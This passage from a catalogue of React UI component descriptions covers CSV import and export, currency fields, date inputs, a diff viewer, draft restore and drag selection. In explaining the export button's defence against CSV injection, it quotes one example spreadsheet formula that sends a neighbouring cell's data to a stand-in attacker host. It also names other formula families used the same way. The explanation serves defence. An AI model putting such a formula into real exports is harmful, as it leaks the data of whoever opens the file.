and `Date.parse("2026-02-30")` does not fail but rolls forward to the 2nd of March, so "parses" is not the question "is a day". Dates are therefore matched as ISO and then verified by rebuilding them, and `1,50`, `11/08/2026` and `08.11.2026` are all reported as text rather than guessed at — `1,50` is one and a half in a European export and one thousand and fifty elsewhere, and a date guessed wrong is wrong by months. Nothing is converted on the way out: `applyMapping` hands back strings and the caller converts knowing their own locale. **The correspondence is not one-to-one in either direction, and both halves are reported at once.** A file can carry columns nobody asked for — an internal id, a legacy note, a column of empties — while required fields sit empty, and both are true at the same time; a screen that shows one half is the ordinary way an import loses a column quietly. Columns left out are listed by name rather than warned about, since skipping one is a normal decision the reader only needs to be told was taken, while a required field with no column blocks the confirm button and marks its own control invalid. One column feeding two fields is reported and not undone, because `name` and `display_name` off one column is a real thing to want and `email` and `phone` off one column is a mistake, and nothing here can tell them apart. A stale column index left over from a different separator counts as unmapped instead of passing. Matching runs exact normalised equality across every field before any looser rule gets a turn, so `name` cannot swallow `company_name` by being declared first, and a column is claimed once; two columns of the same name — which merged exports really do carry — are told apart in the chooser while matching still runs on the written names. A choice the reader makes sticks, and every field they have not touched keeps following the suggestion, so correcting the separator rebuilds the suggestions instead of freezing them. Official shadcn/ui has nothing of the kind and the measurement is not close: fetching every entry in its registry today — 65 listed, 62 fetchable, `code-block`, `questionnaire` and `trace` 404 on both style tracks — and searching all 223,287 bytes of it, `csv`, `parse`, `delimiter`, `quote`, `mapping` and `column` are every one of them a zero hit, and the 15 hits on `header` are table and card headings with nothing to do with importing. Within pulld it is the receiving end: `csv-export-button` writes a file out, `file-dropzone` and `upload-list` take one in without reading it, `paste-area` catches what the clipboard carries, and `transfer-list` moves items between two lists — this is the one that interprets a table somebody else exported. `createCsvParser`, `parseCsv`, `sniffDelimiter`, `csvShape`, `readCsvPreview`, `looksLikeHeader`, `isPlainNumber`, `isPlainDate`, `checkColumn`, `autoMatchFields`, `mappingReport` and `applyMapping` are all exported as plain functions, so the route handler that receives the confirmed mapping reaches the same answers the screen showed. The controls are one labelled `role="group"`, every select and checkbox separately labelled, the preview is a real table with a caption and `scope="col"` headings, required fields are marked for a screen reader and not only with an asterisk, the one polite live region ships empty and is wired to the invalid controls with `aria-describedby`, and every message is replaceable for translation. No dependencies beyond React and your `cn`; every colour is a shadcn token, so it follows light and dark.
A button that turns rows into a CSV file the browser saves — with the two things the inline version gets wrong already handled: the spreadsheet formulas hiding in your data, and the fact that the page is usually only holding one page of the table. Reach for it wherever a table, list or report has to leave the app: the Export button on an admin or data table, a billing, invoice or transactions history, an analytics or reporting screen, a contacts, subscribers, leads or members list, an orders or inventory export, an audit or activity log, a survey's responses, a time-tracking or payroll report, the download half of a GDPR or account data request, and any "download results" next to a search or filter. Common asks it answers: "export to CSV react", "csv export button", "download csv button react", "export table to csv", "react download csv from json", "json to csv frontend", "client-side csv export", "react-csv alternative", "CSVLink alternative", "papaparse unparse alternative", "export data grid to csv", "csv download without server", "excel export react", "csv utf-8 excel garbled", "csv 文字化け excel", "csv injection prevention", "escape csv formula", "shadcn export button", "shadcn csv". Official shadcn/ui has nothing here — csv, blob, createObjectURL and download appear in none of its sixty-odd components — so an agent asked for an export writes it inline, and the inline version is four lines that are wrong in ways nobody sees on the machine that wrote them. The first is a security bug, not a formatting one. A cell whose text starts with =, +, - or @ is a formula to Excel, Sheets and LibreOffice, so a value that came from a user — a display name, a note field, a ticket subject — executes on the machine of whoever opens the export; =HYPERLINK("https://evil.example/?d="&A1,"Click") quietly ships the row beside it, and the WEBSERVICE, IMPORTXML and DDE families have been used the same way for years. It is filed as CSV injection, and the tempting fix does not work: a spreadsheet strips the quotes while parsing and evaluates what is left, so "=1+1" is still a formula and the field itself has to change. Every cell is prefixed with the text marker OWASP recommends — including the tab and carriage return that are stripped on the way in and leave the next character at the front of the cell, and including the headers, which are cells too. The over-correction is handled as well: -42 also starts with a dangerous character, and a version that prefixes it turns every negative number into text so the column stops adding up, so anything that reads as a plain number is left exactly as it is, while +44 20 7946 0000 is prefixed — correct twice over, since Excel would otherwise show #NAME? where the phone number should be. The second failure is quieter: the inline version exports the array the page happens to hold, which on any paginated screen is one page of it, so "Export all" writes 50 of 12,000 rows and looks like it worked. That is why rows also takes a function — return the full set, or a promise for a fetch of it, and the button shows a spinner, goes aria-busy and refuses the second press, which is the double-click that otherwise downloads the file twice or runs the expensive query twice. The rest is the detail a four-line version has no room for. Values containing a comma, a quote or a newline are quoted per RFC 4180 with inner quotes doubled — the newline being the one that splits a record in two and lands every following row one column over, a file that opens fine and is wrong from row 400 down. Records are joined with CRLF, and that is not an option, because making it one is how the file ends up with the LF endings some Windows tooling renders as a single line. The download carries a UTF-8 BOM, because Excel does not detect UTF-8 in a CSV and falls back to the machine's legacy code page — without it every accent, umlaut, Japanese character and emoji arrives as mojibake — and the BOM is put in the file's bytes rather than in the returned text, where an invisible U+FEFF glued to the first header would break a comparison nobody can see. The anchor is inserted into the document before it is clicked, since Firefox ignores a click on an element outside the tree, and the object URL is revoked afterwards but on a later task: an un-revoked one pins the whole exported table in memory for the life of the document, while revoking inside the click's own task cancels the download it was created for. Columns are derived from the union of keys across every row rather than off row zero, so a field only the later rows carry is not silently dropped; declare them instead as a bare property name, or as {header, value} to rename, reorder or compute. Dates become ISO 8601 because a file is read later, elsewhere, by someone whose locale nobody here knows; NaN and Infinity are written empty rather than as words that would break a column's total; and delimiter, header line, sanitising and cell formatting are all overridable. Empty results with no declared columns download nothing and say so, rather than handing over a zero-byte file that reads as a broken button. Every outcome is announced through a polite live region and then cleared, so exporting twice is announced twice — an icon swap is not an event. toCsv, sanitizeCsvCell, escapeCsvCell, formatCsvValue, resolveColumns and downloadCsvFile are exported for reuse. It is the mirror of pulld file-dropzone and upload-list, which take a file in. One file, two lucide icons, no CSV library; every colour is a shadcn token, so it follows light and dark.
A money input that shows a grouped, currency-formatted amount ($1,234.50) when idle and the raw number while you're editing, so the cursor never fights the thousands separators or symbol. Use it in any form that takes an amount: a price or product cost field, an invoice/quote line item, a budget/limit/goal, a donation, tip, or payment amount, a salary or rate field, an expense entry, or a checkout total. Common asks it answers: "currency input react", "money input react", "price input field", "shadcn currency input", "shadcn money field", "formatted amount input", "thousands separator input react", "comma formatted number input", "dollar input react", "euro input field", "yen input no decimals", "react-currency-input-field alternative", "react-number-format alternative", "cleave.js money alternative", "Intl.NumberFormat input", "input value 1234.5 show 1,234.50", "cursor jumps to end when typing in formatted input", "caret jumps while typing money", "thousands separator breaks my input", "cannot type a decimal point in number input", "input type=number strips leading zeros", "input type=number scroll wheel changes the amount", "de-DE comma decimal input", "1.234,50 parsed as 1.234", "pasted $ sign breaks the value", "how to round money on blur", "store cents or dollars in state", "react-hook-form currency field", "金額入力 react", "通貨 入力欄 カンマ区切り", "3桁区切り 入力 カーソル 飛ぶ". Official shadcn/ui ships no currency or money field, and the gap is measured rather than assumed: fetching all sixty-three registry entries today (sixty-two are fetchable; questionnaire is listed and 404s on both style tracks) and grepping 255,796 bytes of source, currency, NumberFormat, minimumFractionDigits, inputMode and decimal are every one of them zero hits. The only near-misses are two toLocaleString calls — the calendar formatting a month name, and a chart tooltip printing a number — and two tabular-nums classes in that same tooltip and the sidebar's badge. Its Input is a styled element with no formatting in it, so you would otherwise bolt masking onto it by hand; this packages it: value/onValueChange work in plain numbers (major units, e.g. 1234.5), not strings, so there's no parsing on your side, and it commits the rounded number on blur to the currency's own precision. The symbol, grouping, symbol placement, and decimal places come from Intl.NumberFormat via the `currency` (ISO 4217, default USD) and `locale` (default en-US) props, so $/€/¥ and 2-decimal vs 0-decimal (JPY) currencies all render correctly with no hardcoding. Typing follows that same locale, so comma-decimal locales (de-DE, fr-FR) accept "1.234,50" and "1234,50" rather than silently misreading them, and grouping characters or a pasted currency symbol are ignored; set allowNegative for refunds or adjustments. It stays controlled or uncontrolled like a native input, forwards a ref to the real <input> (so <Label htmlFor>, name, placeholder, and form libraries like react-hook-form all work), uses inputMode="decimal" for a numeric mobile keypad, and is styled with shadcn tokens (border-input, ring, muted-foreground, tabular-nums) for automatic light/dark theming with no extra dependencies beyond your cn util. Distinct from number-input, which is a stepper for counts/quantities with +/− buttons; this one is for formatted money. Within pulld it is the money end of the field family: number-input counts things, currency-select picks which currency an amount is in (pair them for a multi-currency form), masked-input holds a fixed shape like a card or postal code rather than a number that grows, and pricing-card is where an amount is displayed rather than entered.
A currency picker: every ISO 4217 currency the runtime knows, named in the reader's own language, sorted the way that language sorts, and searchable by local name, English name, three-letter code or symbol. Reach for it wherever a form has to settle which money an amount is in: the currency on a price, plan or product; the billing currency on a subscription or invoice; the currency of an expense, receipt or reimbursement; the payout, remittance or bank-transfer currency on a payments or Connect onboarding form; the display currency on a multi-currency store or a pricing table; the base and quote currency on an exchange-rate or conversion field; the ledger currency in accounting, bookkeeping and budgeting; and the "default currency" row in workspace, organisation and account settings. Common asks it answers: "currency select", "currency picker", "currency dropdown", "currency selector react", "ISO 4217 select", "currency code select", "searchable currency select", "currency combobox", "list of currencies react", "currency select with symbols", "shadcn currency select", "shadcn currency picker", "react-select currency alternative", "currency autocomplete", "select currency for invoice", "multi-currency dropdown". Official shadcn/ui has no currency, money or price item of any kind — and nothing Intl-aware at all: its select, native-select and combobox are empty shells that know nothing about money, so the data and the arithmetic are on you, and both are where hand-rolled versions go wrong. This one carries no currency table: it reads the codes from Intl.supportedValuesOf("currency") and the names from Intl.DisplayNames, which matters more for currencies than it would for countries, because currencies get replaced — ZWG (Zimbabwean Gold) arrived in 2024, XCG (Caribbean guilder) in 2025, SLE replaced SLL in 2022, and a table baked into a component in 2023 is missing all three today while the browser's own list is not. The curation that matters is small and named: XDR (IMF Special Drawing Rights) and XSU (Sucre) are units of account for settling between central banks, not money anyone is paid in, so they are excluded — while XAF, XOF, XPF and XCD are currencies millions are paid in daily and survive the cut, which is why dropping the whole X prefix (the obvious shortcut) is wrong. Historical codes stay and stay labelled, because the runtime dates them for you — SLL arrives as "Sierra Leonean Leone (1964—2022)" — so a 2021 invoice can still render in the currency it was written in; pass `currencies` when a field should only offer what you accept today. The export that prevents the expensive bug is getCurrencyFractionDigits(): decimal places are not 2 everywhere — they are 0 for JPY, KRW, VND, ISK and some thirty others, and 3 for the Gulf dinars (BHD, JOD, KWD, LYD, OMR, TND), about a quarter of the list — and payment APIs (Stripe, Adyen, PayPal) take the amount in the currency's minor unit, so `Math.round(amount * 10 ** getCurrencyFractionDigits(code))` is the conversion and hardcoding 2 there bills a Japanese customer a hundred times what they agreed to. Pairs directly with pulld's currency-input: feed the chosen code to its `currency` prop and the amount field picks up the same symbol, grouping and precision. Sorting goes through Intl.Collator, the difference between a usable list and a broken one: a plain sort() orders by code point, which drops every accented name — "São Tomé & Príncipe Dobra", "Costa Rican Colón" — below Z at the very bottom where nobody scrolls. The filter reads four faces, because a person has four ways to name money: the local name, the English name (typed constantly on non-English sites, because it is what the pricing page and the processor say), the code (which is what the API takes, so it is what a developer has in their head), and the symbol — and the symbol has to be read before folding, because fold("¥") is the empty string and a filter that quietly shows all 160 rows reads as broken. An exact three-letter code wins outright, and symbols stay qualified rather than narrow, so "$" reaches the US Dollar while AUD, CAD, NZD and HKD keep their A$, CA$, NZ$ and HK$ instead of collapsing into four identical dollar signs. A real combobox, not a styled div: the trigger is a type="button" with role="combobox" and aria-expanded, the panel is a listbox driven by aria-activedescendant, arrow keys, Home, End, Enter and Escape all work, the highlight scrolls itself into view, opening a field that already says Japanese Yen starts on Japanese Yen, and an outside press closes it. Works controlled (`value` + `onValueChange`) or uncontrolled (`defaultValue`), always emitting the ISO 4217 code and never a name or a symbol, so what you store survives the reader switching language; `name` adds a hidden input so it submits with a native form; a stored code outside a narrowed `currencies` still shows its own name instead of silently reading as "nothing chosen", which is what keeps an old ledger row from being lost on the next save; `priority` pins the two or three currencies most of your revenue is in above the alphabet; `symbols` turns the glyph off; and getCurrencyName() and getCurrencySymbol() are exported so an invoice header or a pricing table spells the currency exactly the way the picker did. Styled entirely with shadcn tokens (input, ring, accent, popover, muted-foreground), so it follows light and dark mode, and it ships zero dependencies — no currency-data package, no icon package, one file.
A date field you type into, one segment at a time, that emits an ISO "YYYY-MM-DD" string. Use it for date of birth and signup forms, booking and check-in/check-out dates, card expiry, invoice and due dates, report ranges, and admin filters — anywhere the reader already knows the date and wants to type it rather than hunt for it in a month grid. Common asks it answers: "date input", "date field", "typed date entry", "dd/mm/yyyy input", "segmented date field", "date of birth input", "birthday field", "keyboard accessible date picker", "date picker without a calendar", "react-day-picker alternative", "input type=date replacement", "styled native date input". shadcn/ui ships no typed date entry: its calendar is a month grid you click, and the Date Picker page composes that calendar into a popover behind a read-only trigger button, so the only keyboard route is arrow-keying around a grid; input-otp is segmented but for fixed-length codes with no date meaning. This is the typing half, and it composes with calendar rather than replacing it. The work is in the parts that are easy to get wrong. Segment order comes from the locale through Intl, so en-US renders month/day/year, en-GB and de-DE day/month/year, and ja-JP year/month/day, instead of the hardcoded M/D/Y that silently means the wrong day for most of the world; the calendar is pinned to Gregorian, so a Buddhist or Japanese-era locale cannot hand back the year 2569 or 8 to be emitted as though it were Gregorian. The day is clamped whenever the month or year changes, so January 31 switched to February becomes the 28th — or the 29th in a leap year, by the full 4/100/400 rule — instead of the silent rollover into March that a raw Date gives you. Auto-advance is decided by range rather than by a fixed two-digit count: typing 5 into the month jumps straight to the next segment because no month starts with 5, while 1 waits for a possible 10, 11 or 12, and a pair that cannot exist starts a new number instead of dropping the keystroke. Arrow keys step a segment, wrapping month and day, clamping the year, and seeding an empty segment from today; Backspace clears and steps back; Home, End and left/right move between segments. Each segment is a spinbutton with its own label and value range, and the month is announced by name rather than as a bare number. Values outside min/max are flagged with aria-invalid without ever blocking typing, the way a native date input behaves. Works controlled or uncontrolled, forwards a ref to the first segment so a shortcut can focus it, and mirrors the ISO value into a hidden input for native form submit. Theme-aware via shadcn tokens; no dependencies — no date library, no react-day-picker.
A row of date-range presets — Today, Last 7 days, Month to date, Last month, Year to date — with a custom from/to range behind the last option, that answers with a relative expression like "last7d" instead of a pair of dates. Reach for it above anything that shows numbers for a period: an analytics or product dashboard, a revenue, sales or KPI report, billing and invoice history, usage and metering pages, a logs, events or audit-trail viewer, error and monitoring views, an admin table that filters by date, a search or order history, cohort and retention reports, attendance and timesheet summaries, a CSV or PDF export range, and the period selector beside any chart. Common asks it answers: "date range picker react", "date range preset component", "last 7 days selector", "date range filter", "period selector dashboard", "relative date range react", "date range in URL query param", "shadcn date range picker", "shadcn date range preset", "react-date-range alternative", "react-daterange-picker alternative", "MUI DateRangePicker shortcuts equivalent", "antd RangePicker presets equivalent", "date range shortcuts", "this month last month selector", "analytics time range selector", "from to date filter component". Official shadcn/ui has nothing for this and no combination of its parts reaches it: calendar is a react-day-picker wrapper that pulls in react-day-picker and date-fns and answers with a Date for a day, the Date Picker page is that same calendar inside a popover, and neither carries the idea of a period at all — startOfDay, endOfDay, subDays and DateRange do not appear anywhere in the library. Distinct from pulld date-input, which types one full date (and is what this composes for its custom fields), from month-picker, which chooses a single calendar month, from calendar-heatmap, which draws a year of days rather than selecting a span of them, and from weekly-hours, which sets recurring opening times rather than a one-off period. The component turns on one distinction that every hand-rolled version collapses: a relative period is an expression, not a value. Fold "last 7 days" into "2026-09-17..2026-09-23" at the moment it is clicked — which is what storing a { from: Date, to: Date } pair does — and you have written down the answer to a question nobody asked again. Share that URL and the recipient sees your week rather than theirs. Open the same saved view tomorrow and the figures have not moved, which is the single most common "the dashboard is broken" report there is and the hardest to see, because the page is faithfully showing the stale week it was told to. Here the value stays the string "last7d" all the way into the URL, the saved view and the form post, and resolveDateRange evaluates it at the moment you query. Three more things it settles that are invisible until they are wrong. The resolved range is half-open — start included, end excluded — so there is never a last instant to pick and therefore never the 23:59:59 that silently drops the final second of the period, nor the 23:59:59.999 that drops the final millisecond; the end is simply the day after the last one you want, and the summary line shows the last day actually included rather than that excluded end, because telling a reader their range ends on the 24th when the 24th is not in it is just false. Which day is "today" is a property of a time zone rather than of the clock, so todayIn takes an IANA zone and throws on one the runtime does not know instead of quietly falling back to whatever zone the server happens to run in — the reason a browser and the job that aggregates the rows can otherwise disagree by a day at the edges for anyone working late. And whether "Last 7 days" includes today is a real fork with two defensible answers, so it is written out as ordinary data in DEFAULT_PRESETS that you can replace one line at a time rather than buried in the component; there is deliberately no "this week", because the first day of the week is Sunday, Monday or Saturday depending on where you are and a component that quietly picked one would be wrong for much of the world without ever saying so. The preset id and a custom range share one query expression — "last7d" or "2026-09-01..2026-09-30" — so ?period= round-trips either without a second encoding to keep in sync, and parseDateRange refuses backwards ranges and impossible days like 2026-02-30 so a link a stranger edited cannot build a query. Calendar arithmetic is done without a date library: January's "last month" lands in the previous year on its own, February is as long as it actually was that year, and a year under 100 stays that year instead of becoming nineteen-hundred-something the way Date.UTC would have it. It is a real radiogroup with a roving tabindex — one tab stop for the whole row, then arrow keys inside it, which select as they move, with Home and End at the ends and wrapping at both, and left and right following the writing direction so they do not run backwards on an RTL page. A permanently mounted polite live region names the span in words through Intl, so the dates are announced rather than left as a visual-only state, and it stays in the accessibility tree when empty instead of being rendered along with its message. Choosing the custom option reports nothing until both dates make a range, so the dashboard behind the picker is never blanked mid-edit, and the fields open seeded with the range being looked at rather than two empty boxes. Uncontrolled, or controlled by pairing value with onValueChange; give it a name and it posts the expression with a plain form or a server action. The maths is exported too — resolveDateRange, parseDateRange, formatDateRange, todayIn, shiftDay, toCalendarDay, toPlainDate and lastIncludedDay — so a server route can resolve the same string the picker produced without reimplementing any of it. Styled entirely with shadcn tokens (primary, input, accent, ring, muted-foreground, destructive), so it follows light and dark mode, and it ships zero npm dependencies — no date library, no icon package.
A line-by-line diff of two strings — the before/after view a screen needs when it has to show what changed: a config or settings change, a record edited in an admin panel, a document revision, a webhook payload against the last one, an audit-log entry, a restored backup next to what is live, or the edit an AI agent is proposing before the user accepts it. Common asks it answers: "react diff component", "diff viewer react", "show what changed between two strings", "before and after comparison react", "git style diff in react", "unified diff component", "side by side diff react", "split diff view", "react-diff-viewer alternative", "diff2html alternative", "jsdiff without the rendering", "diff two json strings visually", "show config changes in an admin panel", "audit log before and after", "document revision comparison", "review an AI agent's proposed edit before accepting it", "collapse unchanged lines in a diff", "colorblind accessible diff", "diff in a react server component", "diff without a client bundle". Pass before and after and it renders a git-style diff, unified by default or side by side with view="split". Unchanged lines collapse into a counted gap, so a 400-line file with a three-line change shows three lines and a summary instead of 400; context sets how many surrounding lines survive and context={Infinity} shows the whole text. Both line-number gutters are select-none, so selecting the diff copies the code and not a column of numbers. CRLF and LF are folded together, because a file that changed only its line endings would otherwise report every single line as rewritten. It is meaning-first rather than colour-first: every changed row carries a + or - sign and a screen-reader-only "Added line:" / "Removed line:" prefix, so the diff still reads for someone who cannot tell the red and green backgrounds apart — conveying the change by colour alone, which fails WCAG 1.4.1, is the single most common defect in a hand-rolled diff. The table also gets an sr-only caption stating how many lines were added and removed. The diff is a longest-common-subsequence over lines with the shared prefix and suffix trimmed off first, which keeps a large document with a small edit fast (a 4,000-line file with one changed line diffs in well under a millisecond) and makes an appended line read as appended instead of shifting everything by one. Pathologically large inputs degrade to "this block was replaced" rather than allocating a table of hundreds of megabytes during a render. No dependencies, no diff library and no hooks, so it renders inside a React server component without a "use client" of its own and ships no client JavaScript — which is the common case, because the text being compared has usually just been fetched on the server. Official shadcn/ui has no diff component of any kind — the string "diff" is zero hits across all 62 of its fetchable items (measured 2026-09-27): its table is an unstyled table and its chart is a Recharts wrapper, and neither computes or displays a change. Distinct from the pulld pieces it sits beside: code-block shows one snippet with its own copy button and makes no claim about change, json-viewer explores a single object by folding it, ansi-log replays terminal output with its colour codes intact, highlight-text marks matches inside one string, read-more truncates one passage, and image-comparison is the same before/after question asked of two pictures with a slider rather than of two texts line by line.
The "you have an unsent draft — restore it?" notice that belongs above a form, and the localStorage bookkeeping behind it: it keeps what is being typed, offers it back on the next visit, and — the part that is actually hard — throws it away at the right moment. Reach for it wherever work exists only in the browser until somebody presses send: a comment, reply or review box, a contact or support form, a bug report, a job application, an article, post or newsletter draft, a profile or settings page, an invoice or expense claim, a multi-step checkout or onboarding form, a CMS entry, a message composer, a feedback or survey form, and any textarea somebody can close by accident. Common asks it answers: "save form data to localStorage react", "restore unsaved form react", "draft autosave react", "recover draft after refresh", "persist form state on reload", "restore form after accidental close", "react-hook-form persist localStorage", "formik autosave localStorage", "save textarea to localStorage", "you have an unsaved draft", "restore draft prompt", "draft recovery react", "useLocalStorage form draft", "autosave draft before submit", "clear draft after submit", "stale draft keeps coming back", "draft reappears after submitting", "text disappears on refresh", "localStorage is not defined next.js", "next.js localStorage hydration mismatch", "hydration failed because the initial UI does not match", "debounce localStorage writes", "save draft when tab closes", "beforeunload does not fire on mobile", "visibilitychange save", "two tabs same form localStorage", "下書き 自動保存 react", "リロードで入力が消える", "下書きを復元しますか", "localStorage 下書き 保存", "送信後に下書きが残る", "ハイドレーションエラー localStorage", "タブを閉じても入力を残したい", "入力途中の復元". Official shadcn/ui has nothing here, and not in the way a missing component is usually missing — it ships no persistence of any kind. Measured across the whole registry today (65 items listed, 62 fetchable, code-block, questionnaire and trace indexed and 404 on both style tracks, 223,287 bytes of files[].content concatenated): localStorage, sessionStorage, draft, restore, recover, autosave, beforeunload, discard and expire are every one of them a zero hit. Its form, field and textarea hold a value while the page is open and let go of it when the page does. The reason to install this rather than write the two obvious lines — setItem in an onChange, getItem in a useState initialiser — is that those two lines are wrong in four separate places, and three of them only surface after you ship. The first is when to throw the draft away, and it is the one that turns a helpful feature into a haunting. A draft that outlives a successful submit comes back as a restore prompt for work that was sent days ago, and the person reading it cannot tell that prompt from a real one. Clearing on submit is the obvious answer and it is not sufficient by itself, because the clear sits on the one path everybody forgets: the happy one. So most of it is derived here instead. A stored draft that matches what the form is currently showing is deleted rather than offered, on the grounds that a draft identical to reality is not a draft — which for an edit form is the entire problem solved, because you edit an article, save it, come back, and the server hands over the very text the draft holds, so it goes quietly without anybody having remembered anything. For a create form it is still clear() that does it, and that limit is stated rather than hidden: a comment box that resets to empty after sending looks exactly like a comment box somebody emptied by hand, and nothing in here can tell those two apart. maxAge bounds what a forgotten clear() can cost — a draft past its age is deleted on sight rather than offered, seven days by default — and version does the same for a form whose shape has changed, so an old draft is dropped instead of restored into fields that have since moved. The clear also cancels a save already on its way, which is the same bug in miniature: a submit that lands inside the debounce window would otherwise have the timer write the draft back a few hundred milliseconds after it was cleared. The second is hydration. getItem in a useState initialiser runs on the server too, where there is no localStorage, and the client's first render then disagrees with the HTML it is hydrating. Nothing is read during render here: pending is null until an effect has run, so the server and the first client render agree and the notice arrives a frame later rather than flashing for every visitor who has no draft at all. The third is the key, which is a privacy question wearing a naming question's clothes. A key of just "draft" is shared by every form on the origin; a key per form but not per account hands the next person to sign in on a shared machine the last one's unsent text. So the id is required and scope is there for the user id, and a draft stored under one scope is neither offered to nor deleted by another. The fourth is the write itself. A setItem per keystroke is a synchronous main-thread write per keystroke, so writes are debounced — and a debounce with nothing flushing it loses whatever was typed inside the last window, which is exactly the moment somebody closes the tab. Both pagehide and visibilitychange flush immediately, because a phone backgrounds a tab rather than unloading it and may never fire pagehide at all; beforeunload, which is what gets reached for first, is the one that does not help here. A fifth was not foreseen and came out of testing it, so it is written down rather than smoothed over: the debounce has to be keyed on the draft's serialised content, not on the value prop. value={{ title, body }} is a new object on every render and a controlled form re-renders on every keystroke, so keyed on identity the timer is restarted by the very typing it is waiting for, and a whole-form draft is never written once. Keyed on content, a re-render that changed nothing leaves the pending save alone. What you get: useDraft() for the persistence, returning pending, restore(), clear(), flush() and the storageKey, and DraftRestore for the notice, which takes the hook's result and renders nothing visible when there is no draft, so it can be left mounted above the form rather than conditionally rendered. It takes a notice rather than a dialog on purpose: arriving at a page with an old draft on it is not an emergency, and a modal would make somebody answer a question about work they may not even remember before they can read their own form. The live region is mounted whether or not there is a draft and only its text comes and goes, because a region that mounts with its message already inside it is registered too late to announce that message — and this notice always appears after mount, so conditional rendering would mean it is never announced at all. The timestamp and the buttons sit outside that region: inside it, the ticking relative time would have the page announce "saved 3 minutes ago" every minute for as long as the tab is open. It composes time-ago for that timestamp rather than freezing a string that goes stale while somebody reads it, every label is overridable for i18n, and all of it is shadcn tokens so it follows light and dark. Honest limits: two tabs on one form share a key and the last write wins, which is not reconciled here — what is handled is the case that misleads, the other tab submitting, since a storage event removing the key takes this tab's offer down rather than leaving it asking about work already sent. localStorage holds strings, so the value must survive JSON — a File, a Map or a Date comes back as something else, and a value JSON cannot carry at all is skipped rather than throwing. It is also not encrypted and not a backup: a draft lives in one browser profile on one device, and a private window throws it away on close. Anything that must not be lost belongs on a server, with this as the thing that covers the gap between keystrokes and saves. Distinct from its neighbours here: unsaved-changes-guard interrupts the departure and stores nothing, so it protects work on the way out while this one is what makes it survive having left — the two are complementary and good together on the same form; save-status reports the fate of a background write to a server and owns no copy of the data; autosize-textarea and char-counter are about the field rather than its contents outliving the page; announcement-bar also persists to localStorage but only remembers a dismissal, which is a preference rather than somebody's writing; and idle-timeout coordinates tabs over a session rather than over a draft.
Rubber-band selection: drag from the empty space around a list, a grid or a board and everything the rectangle touches is selected, with the container scrolling itself when the pointer reaches its edge. Reach for it wherever a screen has many things and an action that takes several of them at once: a file or asset manager, a media and image gallery, a photo-picker grid, an inbox or notification list, a data grid's rows, cards inside a kanban column, nodes and shapes on a canvas, diagram or whiteboard, map markers, calendar slots, clips on a timeline, layers in an editor, tiles in a seat or venue picker, and the icon grid in any admin tool that has a Delete button above it. Common asks it answers: "drag select react", "rubber band selection react", "marquee selection react", "lasso select react", "box selection", "rectangle selection", "drag to select multiple items", "click and drag to select", "select multiple items by dragging", "multi select drag react", "selection rectangle overlay", "drag selection box div", "shadcn drag select", "shadcn multi select rows", "react-selectable alternative", "react-selectable-fast alternative", "dnd-kit does not do rubber band selection", "@air/react-drag-to-select alternative", "selecto.js react", "moveable selecto alternative", "drag select without a library", "drag select with auto scroll", "auto scroll while dragging selection", "selection box wrong after scrolling", "drag select offset when container is scrolled", "marquee selection scroll offset bug", "shift click and drag add to selection", "cmd drag add to selection", "drag select conflicts with drag and drop", "drag handle stops working when I add drag select", "prevent text selection while dragging", "user-select none while dragging react", "escape to cancel selection drag", "finder style selection react", "範囲選択 ドラッグ react", "矩形選択 複数選択", "ドラッグで複数選択", "選択範囲 自動スクロール". Official shadcn/ui has nothing of the kind, and the measurement is unambiguous rather than a judgement call: across all 63 catalogue entries (62 are fetchable — questionnaire is listed and 404s on both style tracks) and 223,287 bytes of their source, marquee, rubber-band, lasso, setPointerCapture, pointerdown and getBoundingClientRect are every one of them a zero hit. The two words that are not zero were read rather than counted: rectangle's single occurrence is a recharts class name inside the chart component, and all four occurrences of selection are the Tailwind selection: utility that colours highlighted text in an input. So official has text selection and no spatial selection at all. Within this registry it is the missing half of a set that was already here: bulk-action-bar is what appears once rows are selected, nested-checkbox selects down a hierarchy, multi-select and tag-input choose from a flat list inside a field, filter-chips shows which conditions are in force — and sortable-list drags rows to reorder them, which is the component this one has to coexist with rather than replace. Five things separate it from the fifty-line version, and the first is why the fifty-line version is always reported as working before it is reported as broken. First, there are two coordinate systems and the rectangle lives in the inner one. A press gives viewport coordinates; the rows being hit-tested are measured in viewport coordinates too, so intersecting them looks right — until the list is scrolled, at which point a rectangle anchored to the viewport slides off the rows it was drawn around. Here the anchor, the live point and every item box are converted into the container's content coordinates, so scrolling moves the rectangle with the content. The conversion subtracts the container's border as well as its offset, because getBoundingClientRect measures from the border box while an absolutely positioned child — which is what the marquee is — is placed from the padding box: leave it out and the box sits a border-width from the pointer, invisible at 1px and obvious at 4. Second, where a drag may begin. A press that lands on an item belongs to the item, so a sortable-list grip handle, a row's own click and a checkbox all keep working inside a selectable list; only empty space starts a rectangle, data-drag-select-ignore opts out a toolbar or a resizer sitting in the same container, and nothing is drawn until the pointer has travelled past a threshold — which is what leaves a plain click on the background free to mean "clear the selection" instead of being a one-pixel drag. Third, the edges scroll. Without that the component is quietly limited to whatever is already on screen: drag to the bottom of a list and the rows below the fold can never be reached, because the list only scrolls for a wheel it is not being given. The speed tapers across the edge band rather than switching on at full tilt, the band is capped at half the container so a short list does not scroll from its own middle, and each frame re-derives the rectangle from the stored pointer position — the finger is still, the content under it is not, and an auto-scroll that forgets this scrolls beautifully while the selection stops growing. Fourth, modifiers and the way out. Shift or Cmd/Ctrl adds to the selection that existed when the press landed, Alt removes from it, and the base is captured once at pointerdown so dragging back and forth does not ratchet; Escape and a cancelled pointer both put the selection back exactly as it was, because neither one released onto anything. Fifth, it is never the only way in. The selection is ordinary React state — controlled with value plus onChange or uncontrolled with defaultValue — so the same set is written by the consumer's own clicks, checkboxes and keyboard shortcuts, which is the only thing that keeps multi-select from becoming a mouse-only feature; rows marked aria-disabled are skipped rather than selected and silently dropped by the action that follows; the rectangle is aria-hidden decoration with pointer-events-none and the container claims no ARIA role of its own, since the list inside it is the consumer's; a finger is left alone by default, because on a touch screen a drag from empty space is how the list is panned; and select-none is applied only while a rectangle is up, so the list's own text stays selectable and copyable the rest of the time. Mark the selectable elements with the spread helper dragSelectItem(id) — an attribute rather than a wrapper, so existing rows do not have to be re-parented. toContentPoint, toContentBox, boxBetween, boxesOverlap, boxHits, dragSelectMode, applyDragSelection, edgeScrollDelta, beginDragSelect and advanceDragSelect are all exported as pure functions, so the geometry and the selection algebra are testable and reusable headless. Styled entirely with shadcn tokens (primary and primary/15 for the rectangle), so it follows light and dark mode. One file, no dependencies at all — no dnd-kit, no selecto, no Radix.
